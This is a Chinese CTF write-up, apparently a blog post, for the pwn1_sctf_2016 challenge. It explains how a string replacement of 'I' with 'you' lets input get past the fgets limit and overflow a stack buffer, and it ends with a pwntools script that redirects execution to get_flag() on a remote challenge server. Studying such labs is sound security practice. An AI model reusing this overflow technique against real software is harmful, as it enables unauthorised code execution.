• pwn1_sctf_2016


    分析求解

    1. checksec pwn1_sctf_2016

    Arch: i386-32-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x8048000)

    1. 用IDA打开,找到main(),F5反编译
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      vuln();
      return 0;
    }
    

    所以问题的关键在vuln(),用同样的方法查看vuln()

    int vuln()
    {
      const char *v0; // eax
      char s; // [esp+1Ch] [ebp-3Ch]
      char v3; // [esp+3Ch] [ebp-1Ch]
      char v4; // [esp+40h] [ebp-18h]
      char v5; // [esp+47h] [ebp-11h]
      char v6; // [esp+48h] [ebp-10h]
      char v7; // [esp+4Fh] [ebp-9h]
    
      printf("Tell me something about yourself: ");
      fgets(&s, 32, edata);
      std::string::operator=(&input, &s);
      std::allocator<char>::allocator(&v5);
      std::string::string(&v4, "you", &v5);
      std::allocator<char>::allocator(&v7);
      std::string::string(&v6, "I", &v7);
      replace((std::string *)&v3);
      std::string::operator=(&input, &v3, &v6, &v4);
      std::string::~string((std::string *)&v3);
      std::string::~string((std::string *)&v6);
      std::allocator<char>::~allocator(&v7);
      std::string::~string((std::string *)&v4);
      std::allocator<char>::~allocator(&v5);
      v0 = (const char *)std::string::c_str((std::string *)&input);
      strcpy(&s, v0);
      return printf("So, %s
    ", &s);
    }
    

    同时有个get_flag()太明显了

    int get_flag()
    {
      return system("cat flag.txt");
    }
    
    1. 看到有vuln()fgets()限定了输入,因此无法利用它实现栈溢出。再往后的操作包括:将s的地址给到input的地址;给v5分配空间;将"you"赋给v4;给v7分配空间;将"I"赋给v6;将"I"替换成"you"并将结果存到input中;将input的内容给v0并在末尾附加一个终止空字符'';把含有''结束符的字符串复制到另一个地址空间,这里也即将替换后的字符串复制到s的地址,这里有栈溢出漏洞
    2. 双击变量s查看栈信息,有

    -0000003C s db ?
    -0000003B db ? ; undefined
    -0000003A db ? ; undefined
    -00000039 db ? ; undefined
    -00000038 db ? ; undefined
    -00000037 db ? ; undefined
    -00000036 db ? ; undefined
    -00000035 db ? ; undefined
    -00000034 db ? ; undefined
    -00000033 db ? ; undefined
    -00000032 db ? ; undefined
    -00000031 db ? ; undefined
    -00000030 db ? ; undefined
    -0000002F db ? ; undefined
    -0000002E db ? ; undefined
    -0000002D db ? ; undefined
    -0000002C db ? ; undefined
    -0000002B db ? ; undefined
    -0000002A db ? ; undefined
    -00000029 db ? ; undefined
    -00000028 db ? ; undefined
    -00000027 db ? ; undefined
    -00000026 db ? ; undefined
    -00000025 db ? ; undefined
    -00000024 db ? ; undefined
    -00000023 db ? ; undefined
    -00000022 db ? ; undefined
    -00000021 db ? ; undefined
    -00000020 db ? ; undefined
    -0000001F db ? ; undefined
    -0000001E db ? ; undefined
    -0000001D db ? ; undefined
    -0000001C var_1C db ?
    -0000001B db ? ; undefined
    -0000001A db ? ; undefined
    -00000019 db ? ; undefined
    -00000018 var_18 db ?
    -00000017 db ? ; undefined
    -00000016 db ? ; undefined
    -00000015 db ? ; undefined
    -00000014 db ? ; undefined
    -00000013 db ? ; undefined
    -00000012 db ? ; undefined
    -00000011 var_11 db ?
    -00000010 var_10 db ?
    -0000000F db ? ; undefined
    -0000000E db ? ; undefined
    -0000000D db ? ; undefined
    -0000000C db ? ; undefined
    -0000000B db ? ; undefined
    -0000000A db ? ; undefined
    -00000009 var_9 db ?
    -00000008 db ? ; undefined
    -00000007 db ? ; undefined
    -00000006 db ? ; undefined
    -00000005 db ? ; undefined
    -00000004 var_4 dd ?
    +00000000 s db 4 dup(?)
    +00000004 r db 4 dup(?)
    +00000008
    +00000008 ; end of stack variables

    所以理论上需要覆盖0x3c+4个也即64个字符就可以到达返回地址,再将后门函数get_flag()地址0x8048F0D放到这里就可以

    5. 因为fgets()限定了当读取31个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止。同时所有输入的"I"又会被替换成"you",所以只要我们输入21个"I"就相当于输入了63个字符,然后再填一个任意字符,这里添一个'a'即可到达返回地址
    6. 代码如下

    from pwn import *
    
    p = remote('node3.buuoj.cn', 29835)
    
    payload = 'I'*21 + 'a' + p32(0x8048F0D)
    p.sendline(payload)
    p.interactive()       
    

    flag{fa683df1-d254-4165-8240-b7469a759d77}

    参考

    [1] https://baike.baidu.com/item/fgets/10942211?fr=aladdin
    [2] https://zhuanlan.zhihu.com/p/138897356

  • 相关阅读:
    Yii2框架bootstrap样式理解
    spring 配置bean的方法及依赖注入发方式
    C#深拷贝
    【麦子学院】Linux cmd命令大全
    JEECG中的validform验证ajaxurl的使用方法
    ORACLE 如何查询被锁定表及如何解锁释放session
    获取请求真实ip
    jsp值传到后台Struts2中的action三种方法
    ajax 二级联动与springmvc 交互
    SpringMVC返回json数据的三种方式
  • 原文地址:https://www.cnblogs.com/vict0r/p/13791709.html
Copyright © 2020-2023  润新知